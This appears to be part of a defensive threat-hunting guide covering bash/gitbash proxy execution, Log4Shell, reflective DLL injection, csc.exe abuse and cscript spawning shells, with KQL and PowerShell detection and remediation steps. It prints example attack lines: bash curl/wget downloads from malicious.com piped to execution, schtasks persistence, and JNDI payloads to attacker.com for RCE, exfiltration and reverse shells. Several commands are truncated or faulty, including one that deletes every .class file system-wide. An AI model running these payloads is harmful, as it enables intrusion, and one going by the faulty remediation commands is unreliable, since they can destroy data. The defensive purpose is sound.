# Part 6

## 🚨 **Signed Binary Proxy Execution: Bash.exe or Gitbash.exe**&#x20;

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Signed Binary Proxy Execution (Bash.exe or Gitbash.exe)?**

* **Signed Binary Proxy Execution** is a technique where attackers use **legitimate signed binaries** (e.g., `bash.exe` from Windows Subsystem for Linux (WSL) or `gitbash.exe`) to **proxy malicious commands or payloads**.
* These binaries are **trusted by the operating system** and security solutions, making them ideal for evading detection.

***

#### 📑 **Why Attackers Use Bash.exe or Gitbash.exe?**

* **Trusted Binaries:** Binaries are signed by trusted vendors (Microsoft or Git).
* **Evasion:** Antivirus and security solutions may overlook these processes.
* **Command Execution:** Can execute arbitrary commands or scripts.
* **Living Off the Land:** Reduces the need for downloading additional tools.
* **Persistence:** Can create scheduled tasks or maintain backdoors.

***

#### 📌 **Common Attack Scenarios**

| **Scenario**                           | **Description**                        | **Example Command**                                                                        |
| -------------------------------------- | -------------------------------------- | ------------------------------------------------------------------------------------------ |
| **Execute Malicious Scripts via Bash** | Run payloads using Bash.               | `bash.exe -c "curl http://malicious.com -o /tmp/payload.sh; bash /tmp/payload.sh"`         |
| **Proxy Commands via Gitbash**         | Run malicious commands via Gitbash.    | `gitbash.exe -c "wget http://malicious.com/payload.sh; chmod +x payload.sh; ./payload.sh"` |
| **Download and Execute Payloads**      | Use bash to download and run payloads. | \`bash.exe -c "wget -O- <http://malicious.com/script.sh>                                   |
| **Persistence Using Scheduled Tasks**  | Use Bash to create persistence.        | \`schtasks /create /tn UpdateTask /tr "bash.exe -c 'curl <http://malicious.com/update.sh>  |

***

#### 📌 **Tools Commonly Abused**

| **Tool**        | **Purpose**                                              |
| --------------- | -------------------------------------------------------- |
| **bash.exe**    | Command execution from Windows Subsystem for Linux (WSL) |
| **gitbash.exe** | Command execution via Git Bash                           |
| **curl/wget**   | Downloading payloads                                     |
| **chmod**       | Modify file permissions                                  |
| **sh/bash**     | Execute shell scripts                                    |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Identify Processes Involving Bash or Gitbash**

```powershell
Get-Process | Where-Object { $_.Path -like "*bash.exe" -or $_.Path -like "*gitbash.exe" }
```

**🕵️ Inspect Command-Line Arguments**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -like "*bash*" -or $_.CommandLine -like "*wget*" }
```

**🕵️ Monitor Downloads via Bash or Gitbash**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*wget*" -or $_.Message -like "*curl*" }
```

**🕵️ Inspect Parent-Child Relationships**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -ne 0 -and $_.Name -like "*bash.exe*" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Bash or Gitbash Execution**

```kusto
DeviceProcessEvents
| where FileName in ("bash.exe", "gitbash.exe")
| where ProcessCommandLine contains "curl" or ProcessCommandLine contains "wget"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Payload Downloads via Bash/Gitbash**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName in ("bash.exe", "gitbash.exe")
| where RemoteUrl contains "http"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, AccountName
```

**🕵️ Identify Bash Processes in Suspicious Folders**

```kusto
DeviceProcessEvents
| where FileName in ("bash.exe", "gitbash.exe")
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, ProcessCommandLine, FolderPath, AccountName
```

**🕵️ Trace Parent-Child Process Relationships**

```kusto
DeviceProcessEvents
| where ParentProcessFileName contains "explorer.exe" or ParentProcessFileName contains "cmd.exe"
| where FileName in ("bash.exe", "gitbash.exe")
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Identify Scheduled Tasks Using Bash or Gitbash**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "schtasks"
| where ProcessCommandLine contains "bash.exe" or ProcessCommandLine contains "gitbash.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                                      |
| ------------ | -------------------------------------------------------------------- |
| **4688**     | A new process was created (e.g., `bash.exe`, `gitbash.exe`).         |
| **4663**     | Object access attempt (e.g., file download or script execution).     |
| **4656**     | Handle to an object was requested (e.g., script file handle).        |
| **7045**     | A service was installed on the system (e.g., persistence with bash). |

**📌 Focus on Event ID 4688:**

* Look for:

  ```powershell
  ProcessCommandLine: bash.exe -c "wget http://malicious.com/script.sh"
  ProcessCommandLine: gitbash.exe -c "curl http://malicious.com/payload.sh"
  ```

**📌 Focus on Event ID 7045:**

* Check for scheduled tasks or services involving `bash.exe` or `gitbash.exe`.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Bash or Gitbash Execution History**

* Check recently executed bash commands:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*bash.exe*" }
```

***

#### 2️⃣ **Inspect Script Files Called by Bash or Gitbash**

* List script files in suspicious directories:

```powershell
Get-ChildItem -Path "C:\Temp", "C:\Users\Public" -Include *.sh, *.txt, *.dat -Recurse
```

***

#### 3️⃣ **Trace Parent-Child Process Tree**

* Identify suspicious parent processes:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 4️⃣ **Inspect Registry for Persistence Mechanisms**

* Check Scheduled Tasks:

```powershell
schtasks /query /fo LIST /v | findstr "bash.exe gitbash.exe"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Name "bash" -Force
Stop-Process -Name "gitbash" -Force
```

#### 📌 **2. Remove Malicious Scripts**

```powershell
Remove-Item -Path "C:\Temp\payload.sh" -Force
```

#### 📌 **3. Disable Bash or Gitbash for Untrusted Users**

```powershell
icacls "C:\Windows\System32\bash.exe" /deny Everyone:RX
```

#### 📌 **4. Clear Scheduled Tasks Involving Bash/Gitbash**

```powershell
schtasks /delete /tn UpdateTask /f
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Monitor Bash/Gitbash Execution:**
   * Alert on `wget`, `curl`, or suspicious arguments.
2. **Implement Application Control (AppLocker/WDAC):**
   * Restrict access to `bash.exe` and `gitbash.exe`.
3. **Disable WSL if Not Needed:**

   ```powershell
   Disable-WindowsOptionalFeature -FeatureName Microsoft-Windows-Subsystem-Linux
   ```
4. **Monitor Scheduled Tasks:**
   * Regularly audit tasks involving `bash.exe` or `gitbash.exe`.
5. **Train Users:**
   * Educate about suspicious script execution.

***

### 🧠 **6. Key Takeaways**

* **Signed Binaries Are Trusted:** Attackers exploit `bash.exe` and `gitbash.exe` for stealth.
* **Monitor Command Arguments:** Look for `curl`, `wget`, and script downloads.
* **Focus on Persistence Mechanisms:** Scheduled tasks and startup folders.
* **Event IDs to Monitor:** **4688**, **4663**, **7045**.

***

## 🚨 **Log4j Invocation: Advanced Threat Analysis**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Log4j?**

* **Log4j** is a widely used Java-based logging library developed by the **Apache Software Foundation**.
* The **Log4Shell (CVE-2021-44228)** vulnerability allows **remote code execution (RCE)** by exploiting how Log4j handles **JNDI lookups**.
* Attackers can send specially crafted payloads, often containing `${jndi:ldap://attacker-controlled-server/payload}` to vulnerable applications, enabling arbitrary code execution.

***

#### 📑 **Why is Log4j Dangerous?**

* **Widespread Usage:** Many enterprise and open-source applications rely on Log4j.
* **Remote Code Execution (RCE):** Allows attackers to run arbitrary code.
* **Minimal Footprint:** Exploit can be triggered with a simple HTTP request or log entry.
* **Persistent Access:** Attackers can install backdoors or malware.
* **Stealthy:** Exploits are often buried in legitimate logs.

***

#### 📌 **Common Attack Scenarios**

| **Technique**        | **Description**                      | **Example Payload**                            |
| -------------------- | ------------------------------------ | ---------------------------------------------- |
| **LDAP RCE**         | Execute remote payloads via LDAP.    | `${jndi:ldap://attacker.com:1389/Exploit}`     |
| **DNS Exfiltration** | Data exfiltration using DNS queries. | `${jndi:dns://attacker.com/exfiltrate}`        |
| **Remote Shell**     | Trigger remote shell execution.      | `${jndi:rmi://attacker.com:1099/ReverseShell}` |
| **Local Execution**  | Local execution bypassing detection. | `${jndi:ldap://127.0.0.1/payload}`             |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with Logs**

**🕵️ Search for Suspicious Log4j Patterns in Logs**

```bash
grep -i -E '\$\{jndi:(ldap|rmi|dns)://[^\s]+' /var/log/*.log
```

**🕵️ Identify Suspicious User-Agent Strings**

```bash
grep -i -E 'jndi:ldap|jndi:rmi|jndi:dns' /var/log/apache2/access.log
```

**🕵️ Analyze Application-Specific Logs (Java-based Apps)**

```bash
cat /path/to/application/logs | grep -E '\$\{jndi:(ldap|rmi|dns)}'
```

**🕵️ Inspect System Logs for Malicious Processes Triggered by Java Applications**

```bash
ps aux | grep -i java
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious JNDI Strings in Logs**

```kusto
DeviceFileEvents
| where FileName endswith ".log"
| where FileContent contains "${jndi:ldap" or FileContent contains "${jndi:rmi"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Monitor Network Connections to Suspicious LDAP Servers**

```kusto
DeviceNetworkEvents
| where RemoteUrl contains "ldap://" or RemoteUrl contains "rmi://"
| where RemoteIP !startswith "192.168." and RemoteIP !startswith "10."
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, AccountName
```

**🕵️ Identify Java Processes with Suspicious Command Line Arguments**

```kusto
DeviceProcessEvents
| where FileName == "java.exe"
| where ProcessCommandLine contains "jndi:"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Suspicious Java Child Processes**

```kusto
DeviceProcessEvents
| where ParentProcessFileName == "java.exe"
| where FileName in ("cmd.exe", "powershell.exe", "curl.exe", "wget.exe")
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Trace Log4j Exploit Patterns in Web Requests**

```kusto
DeviceWebContentEvents
| where Url contains "${jndi:"
| project Timestamp, DeviceName, Url, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                                      |
| ------------ | -------------------------------------------------------------------- |
| **4688**     | New process creation (e.g., spawned from Java).                      |
| **4656**     | Handle to an object was requested (e.g., access to sensitive files). |
| **4663**     | Object access attempt (e.g., files/scripts executed).                |
| **5156**     | Network connection allowed (e.g., outbound LDAP/DNS traffic).        |
| **4104**     | PowerShell script block logging.                                     |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true
  ```

**📌 Focus on Event ID 5156:**

* Identify outbound connections to LDAP/RMI servers:

  ```arduino
  RemoteIP: ldap://attacker.com
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Java Processes**

* Identify active Java processes:

```bash
ps aux | grep java
```

#### 2️⃣ **Inspect Java Application Logs**

* Look for JNDI patterns:

```bash
grep -r '${jndi:' /var/log
```

#### 3️⃣ **Check Firewall Logs for Suspicious LDAP/DNS Traffic**

* Identify connections to uncommon LDAP or DNS servers.

#### 4️⃣ **Network Traffic Analysis**

* Use tools like **Wireshark** or **Zeek** to inspect suspicious outbound connections.

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Patch and Update Log4j**

* Update Log4j to **version 2.17.1** or later:

```bash
sudo apt-get update && sudo apt-get upgrade log4j
```

#### 📌 **2. Disable JNDI Lookups**

* Add the following parameter:

```bash
Dlog4j2.formatMsgNoLookups=true
```

#### 📌 **3. Block Outbound LDAP and RMI Traffic**

```bash
iptables -A OUTPUT -p tcp --dport 389 -j DROP
iptables -A OUTPUT -p tcp --dport 1099 -j DROP
```

#### 📌 **4. Remove Suspicious Artifacts**

* Delete malicious payloads:

```bash
find / -type f -name '*.class' -exec rm -f {} +
```

#### 📌 **5. Rotate Credentials and Secrets**

* Rotate all credentials used in impacted systems.

#### 📌 **6. Perform Full Antivirus Scan**

```bash
clamscan -r /var/log
```

***

### 🛡️ **5. Prevention Steps**

1. **Keep Systems and Software Updated:**
   * Regularly patch Log4j and related dependencies.
2. **Disable JNDI Lookups Globally:**
   * Use JVM options to prevent remote lookups.
3. **Network Monitoring:**
   * Block outbound LDAP and RMI connections.
4. **Enable Logging and Alerts:**
   * Enable detection for `${jndi:` patterns in logs.
5. **Enable Web Application Firewall (WAF):**
   * Block Log4j payload patterns via WAF rules.
6. **Limit Java Process Privileges:**
   * Run Java processes with minimal privileges.

***

### 🧠 **6. Key Takeaways**

* **Log4j Is a Critical Vulnerability:** Immediate patching is essential.
* **Look for JNDI Patterns:** `${jndi:ldap}`, `${jndi:rmi}` in logs and network traffic.
* **Focus on Event IDs:** **4688**, **4656**, **5156**, **4663**.
* **Disable JNDI Lookup if Unused:** Add JVM parameters to prevent exploitation.
* **Monitor Outbound LDAP/DNS Traffic:** Track external communication.

***

## 🚨 **Reflective DLL Injection**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Reflective DLL Injection?**

* **Reflective DLL Injection** is a stealthy technique where a **DLL (Dynamic Link Library)** is loaded directly into a process’s memory without using the standard **Windows API `LoadLibrary()`** function.
* This technique avoids leaving traces on disk, making it difficult for **antivirus software and endpoint security solutions** to detect.

***

#### 📑 **Why Attackers Use Reflective DLL Injection?**

* **Stealth:** No need to drop a DLL file on disk.
* **Evasion:** Bypasses standard API hooks and antivirus detections.
* **Persistence:** Can be used to inject malicious DLLs into persistent processes.
* **Flexibility:** Can be used in both local and remote process injections.

***

#### 📌 **How Reflective DLL Injection Works**

1. **Payload Delivery:** The attacker delivers a malicious DLL to the target system.
2. **Map DLL in Memory:** Allocate memory in the target process.
3. **Write DLL to Memory:** Copy the DLL into the allocated memory.
4. **Find Entry Point:** Locate the `DllMain` entry point of the DLL.
5. **Execute Entry Point:** Call `DllMain` manually.

***

#### 📌 **Common Tools for Reflective DLL Injection**

| **Tool**          | **Description**                           |
| ----------------- | ----------------------------------------- |
| **Metasploit**    | Framework for delivering reflective DLLs. |
| **Cobalt Strike** | Advanced penetration testing toolkit.     |
| **PowerSploit**   | PowerShell scripts for injection.         |
| **Mimikatz**      | Credential dumping and lateral movement.  |
| **Empire**        | Post-exploitation framework.              |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Identify Suspicious Memory Allocation in Processes**

```powershell
Get-Process | Where-Object { $_.PagedMemorySize -gt 100MB } | Select-Object Name, Id, PagedMemorySize
```

**🕵️ Inspect Processes with RWX Memory Permissions**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=10} | Where-Object { $_.Message -like "*RWX*" }
```

**🕵️ Identify Suspicious DLL Injections via Threads**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*VirtualAlloc*" -or $_.Message -like "*WriteProcessMemory*" }
```

**🕵️ Check Uncommon DLL Paths in Memory**Get-Process | Where-Object { $\_.Modules -match "Temp" }

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Memory Allocation**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "VirtualAlloc"
| where ProcessCommandLine contains "WriteProcessMemory"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Processes with Suspicious DLL Paths**

```kusto
DeviceImageLoadEvents
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| where FileName endswith ".dll"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Look for Suspicious API Calls**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "CreateRemoteThread"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Monitor DLL Injection via Known Tools**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "rundll32" or ProcessCommandLine contains "powershell"
| where ProcessCommandLine contains "DllRegisterServer"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Thread Injection Activity**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "CreateRemoteThread"
| where ProcessCommandLine contains "VirtualAlloc"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                   |
| ------------ | ------------------------------------------------- |
| **4688**     | A new process was created (e.g., `rundll32.exe`). |
| **4689**     | Process termination (trace exits).                |
| **4656**     | Handle to an object was requested.                |
| **10**       | Sysmon event for memory allocation (RWX).         |
| **5156**     | Network connection allowed.                       |

**📌 Focus on Event ID 10 (Sysmon):**

* Look for:

  ```plaintext
  RuleName: Memory Allocation
  Details: RWX memory permissions
  ```

**📌 Focus on Event ID 4688:**

* Track processes created with reflective DLL payloads:

  ```plaintext
  CommandLine: rundll32.exe malicious.dll
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Analyze Memory with Volatility Framework**

```bash
volatility -f memorydump.img --profile=Win10x64 malfind
```

***

#### 2️⃣ **Inspect Process Modules**

* Review loaded DLLs:

```powershell
Get-Process -Id <PID> -Module
```

***

#### 3️⃣ **Inspect RWX Memory Regions**

* Check memory permissions:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=10}
```

***

#### 4️⃣ **Trace Parent-Child Processes**

* Identify the parent process:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **2. Dump and Analyze Memory**

* Create a memory dump for further analysis:

```powershell
procdump -ma <PID> malicious_process.dmp
```

#### 📌 **3. Remove Malicious DLLs**

```powershell
Remove-Item -Path "C:\Temp\malicious.dll" -Force
```

#### 📌 **4. Block Suspicious API Calls**

* Use **Windows Defender Exploit Guard** to monitor API usage.

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Sysmon with Rule for RWX Memory Regions:**
   * Monitor `VirtualAlloc` and `WriteProcessMemory`.
2. **Implement Application Control Policies:**
   * Block untrusted DLLs using **AppLocker**.
3. **Restrict Memory Allocation Permissions:**
   * Limit `VirtualAlloc` calls from untrusted processes.
4. **Enable Behavioral Analytics in EDR Solutions:**
   * Monitor thread injection behavior.
5. **Keep Systems Patched and Updated:**
   * Apply security updates regularly.

***

### 🧠 **6. Key Takeaways**

* **Reflective DLL Injection is Stealthy:** Difficult to detect via standard tools.
* **Monitor RWX Memory Regions:** Sysmon Event ID **10** is crucial.
* **Focus on Parent-Child Process Relationships:** Check API calls like `VirtualAlloc` and `CreateRemoteThread`.
* **Use Threat Intelligence Tools:** Validate DLL hashes on **VirusTotal**.

***

## 🚨 **Detected Non-Baselined Csc.exe Parent Process**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Csc.exe?**

* **Csc.exe** (C# Compiler) is a **legitimate Microsoft binary** located in `C:\Windows\Microsoft.NET\Framework\<version>\csc.exe`.
* It is used by the **.NET Framework** to **compile C# code into executables or DLLs**.

#### 📑 **Why is Csc.exe Abused by Attackers?**

* **Trusted Binary:** Signed by Microsoft, reducing suspicion.
* **Execution Proxy:** Can execute malicious C# payloads without being flagged.
* **Fileless Execution:** Execute code directly from memory.
* **Evasion:** Avoid detection by hiding behind a legitimate process.
* **Persistence:** Can be used in scheduled tasks or registry entries.

#### 📌 **Common Attack Scenarios**

| **Technique**                            | **Description**                                | **Example Command**                                                                                    |
| ---------------------------------------- | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
| **Code Compilation from Temp Directory** | Compile and run malicious C# code from `Temp`. | `csc.exe /out:C:\Temp\malware.exe C:\Temp\script.cs`                                                   |
| **Reflective Code Execution**            | Reflectively execute C# code in memory.        | `csc.exe -r:System.dll -r:System.Net.dll C:\Temp\exploit.cs`                                           |
| **Scheduled Task with Csc.exe**          | Persistence through scheduled tasks.           | `schtasks /create /tn "UpdateTask" /tr "csc.exe /out:C:\Temp\malware.exe C:\Temp\script.cs" /sc daily` |
| **Obfuscated Commands**                  | Use obfuscation to avoid detection.            | `csc.exe /target:winexe /out:%TEMP%\payload.exe script.cs`                                             |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Active Csc.exe Processes**

```powershell
Get-Process -Name csc | Select-Object Id, ProcessName, Path, StartTime
```

**🕵️ Inspect Csc.exe Parent Processes**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "csc.exe" } | Select-Object ProcessId, ParentProcessId, CommandLine
```

**🕵️ Check Recent Csc.exe Executions**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*csc.exe*" }
```

**🕵️ List Suspicious Csc.exe Files in Temp or Public Directories**

```powershell
Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Filter "csc.exe" -Recurse
```

**🕵️ Analyze Compiled Executables**

```powershell
Get-ChildItem -Path "C:\Temp" -Filter "*.exe" | Select-Object FullName, LastWriteTime
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Csc.exe Parent Processes**

```kusto
DeviceProcessEvents
| where FileName == "csc.exe"
| where ParentProcessFileName !in ("cmd.exe", "powershell.exe", "explorer.exe", "msbuild.exe")
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessFileName, AccountName
```

**🕵️ Identify Csc.exe Execution from Non-Standard Directories**

```kusto
DeviceProcessEvents
| where FileName == "csc.exe"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FolderPath, ProcessCommandLine, AccountName
```

**🕵️ Detect Csc.exe Compiling Code from Suspicious Files**

```kusto
DeviceFileEvents
| where FileName endswith ".cs"
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Monitor Suspicious Csc.exe Network Connections**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "csc.exe"
| where RemoteIP !startswith "192.168."
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, AccountName
```

**🕵️ Scheduled Task with Csc.exe**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "schtasks"
| where ProcessCommandLine contains "csc.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                     |
| ------------ | ----------------------------------- |
| **4688**     | New process creation (`csc.exe`)    |
| **4663**     | Object access attempt               |
| **4656**     | Handle to an object requested       |
| **7045**     | New service installed on the system |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessName: csc.exe
  ParentProcess: powershell.exe, cmd.exe, msbuild.exe
  CommandLine: csc.exe /out:C:\Temp\payload.exe C:\Temp\exploit.cs
  ```

**📌 Focus on Event ID 7045:**

* Look for scheduled tasks or services using `csc.exe`.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Parent-Child Relationships**

* Identify the parent process:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 2️⃣ **Analyze Command-Line History**

* Review recent commands involving `csc.exe`:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*csc.exe*" }
```

***

#### 3️⃣ **Check for Temporary C# Files**

* Look for `.cs` files in temporary directories:

```powershell
Get-ChildItem -Path "C:\Temp" -Filter "*.cs"
```

***

#### 4️⃣ **Review Network Activity**

* Analyze network activity from `csc.exe`:

```powershell
netstat -ano | findstr <PID>
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Name "csc" -Force
```

#### 📌 **2. Remove Malicious C# Scripts**

```powershell
Remove-Item -Path "C:\Temp\exploit.cs" -Force
```

#### 📌 **3. Disable Csc.exe Execution in User Directories**

* Create AppLocker policy:

```powershell
New-AppLockerPolicy -RuleType Deny -Path "C:\Users\*\AppData\*\csc.exe"
```

#### 📌 **4. Audit Scheduled Tasks**

```powershell
schtasks /query /fo LIST /v
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Command-Line Auditing:**
   * Monitor `csc.exe` arguments.
2. **Implement Application Control Policies:**
   * Block unauthorized `csc.exe` usage.
3. **Restrict Access to Compiler Binaries:**
   * Limit access to `csc.exe`.
4. **Patch Systems Regularly:**
   * Ensure .NET Framework is updated.
5. **Enable Behavioral Analytics in EDR:**
   * Detect abnormal `csc.exe` behavior.

***

### 🧠 **6. Key Takeaways**

* **Monitor Non-Standard Parent Processes:** Investigate unexpected parents for `csc.exe`.
* **Focus on Event IDs:** **4688**, **4663**, **7045**.
* **Monitor Temporary Directories:** Look for `.cs` and `.exe` files.
* **Apply Application Control Policies:** Block unauthorized compiler access.

***

## 🚨 **Cscript Launching CMD or PowerShell**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Cscript.exe?**

* **Cscript.exe** is the **Command-Line Script Host** used to execute **VBScript (.vbs)** and **JScript (.js)** files on Windows systems.
* It’s a **legitimate Microsoft binary** located in `C:\Windows\System32\cscript.exe`.

#### 📑 **Why Attackers Abuse Cscript.exe?**

* **Trusted Binary:** Signed by Microsoft and often allowed by security tools.
* **Script Execution:** Can run `.vbs` and `.js` scripts silently.
* **Proxy Execution:** Attackers use it to launch **cmd.exe** or **powershell.exe** for further malicious activities.
* **Evasion:** Script execution can be obfuscated to avoid detection.
* **Persistence:** Used in scheduled tasks or startup entries.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                      | **Description**                                           | **Example Command**                                                      |
| ---------------------------------- | --------------------------------------------------------- | ------------------------------------------------------------------------ |
| **Launch CMD via VBScript**        | Run commands using CMD from a VBScript.                   | `cscript.exe script.vbs`                                                 |
| **Launch PowerShell via VBScript** | Run PowerShell commands via VBScript.                     | `cscript.exe payload.vbs`                                                |
| **Obfuscated Payloads**            | Hide malicious commands in an obfuscated script.          | `cscript.exe /nologo C:\Temp\obfuscated.vbs`                             |
| **Persistence via Scheduled Task** | Run a VBScript periodically to launch CMD/PowerShell.     | `schtasks /create /tn UpdateTask /tr "cscript.exe script.vbs" /sc daily` |
| **Fileless Execution**             | Execute scripts in memory without leaving traces on disk. | `cscript.exe //e:vbscript -`                                             |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Identify Active Cscript Processes**

```powershell
Get-Process -Name cscript | Select-Object Id, ProcessName, Path, StartTime
```

**🕵️ Inspect Cscript Launching CMD or PowerShell**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {
    $_.Message -like "*cscript.exe*" -and ($_.Message -like "*cmd.exe*" -or $_.Message -like "*powershell.exe*")
}
```

**🕵️ Check VBScript Files in Suspicious Directories**

```powershell
Get-ChildItem -Path "C:\Users\Public", "C:\Windows\Temp" -Include *.vbs -Recurse
```

**🕵️ Identify Obfuscated VBScript Execution**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'} | Where-Object {
    $_.Message -like "*cscript.exe*" -and $_.Message -like "*-EncodedCommand*"
}
```

**🕵️ Inspect Parent-Child Relationship**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq (Get-Process -Name "cscript").Id }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Cscript Launching CMD or PowerShell**

```kusto
DeviceProcessEvents
| where FileName == "cscript.exe"
| where ProcessCommandLine contains "cmd.exe" or ProcessCommandLine contains "powershell.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Identify Suspicious Cscript Script Execution**

```kusto
DeviceFileEvents
| where FileName endswith ".vbs" or FileName endswith ".js"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Trace Parent-Child Relationships**

```kusto
DeviceProcessEvents
| where FileName == "cmd.exe" or FileName == "powershell.exe"
| where InitiatingProcessFileName == "cscript.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Detect Obfuscated Commands via Cscript**

```kusto
DeviceProcessEvents
| where FileName == "cscript.exe"
| where ProcessCommandLine contains "-EncodedCommand"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Scheduled Tasks Involving Cscript**

```kusto
DeviceProcessEvents
| where FileName == "schtasks.exe"
| where ProcessCommandLine contains "cscript.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                             |
| ------------ | ------------------------------------------- |
| **4688**     | A new process was created (`cscript.exe`).  |
| **4663**     | Object access attempt (script file access). |
| **4104**     | PowerShell script block execution.          |
| **7045**     | A new service was installed.                |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: cscript.exe script.vbs
  ProcessCommandLine: cscript.exe payload.js
  ParentProcess: cmd.exe or powershell.exe
